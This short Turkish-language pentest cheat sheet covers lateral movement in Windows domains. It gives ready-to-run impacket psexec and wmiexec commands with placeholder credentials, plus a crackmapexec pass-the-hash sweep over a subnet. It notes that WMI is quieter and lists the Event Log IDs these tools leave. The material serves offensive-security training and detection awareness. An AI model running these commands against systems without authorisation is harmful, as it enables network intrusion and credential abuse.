Lateral movement, ele geçirilen bir makineden ağdaki diğer makinelere geçiş yapmak anlamına gelir.
PsExec
Klasik uzaktan komut çalıştırma aracı.
impacket-psexec corp.local/admin:pass@10.10.10.2 cmd.exe
WMI Exec
PsExec’e göre daha sessiz alternatif.
impacket-wmiexec corp.local/admin:pass@10.10.10.2
SMB / Pass-the-Hash
# Düz metin şifre gerekmez — NTLM hash yeterli
crackmapexec smb 10.10.10.0/24 -u admin -H NTLM_HASH
Not: Bu araçlar Windows Event Logs’ta iz bırakır (4624, 4648).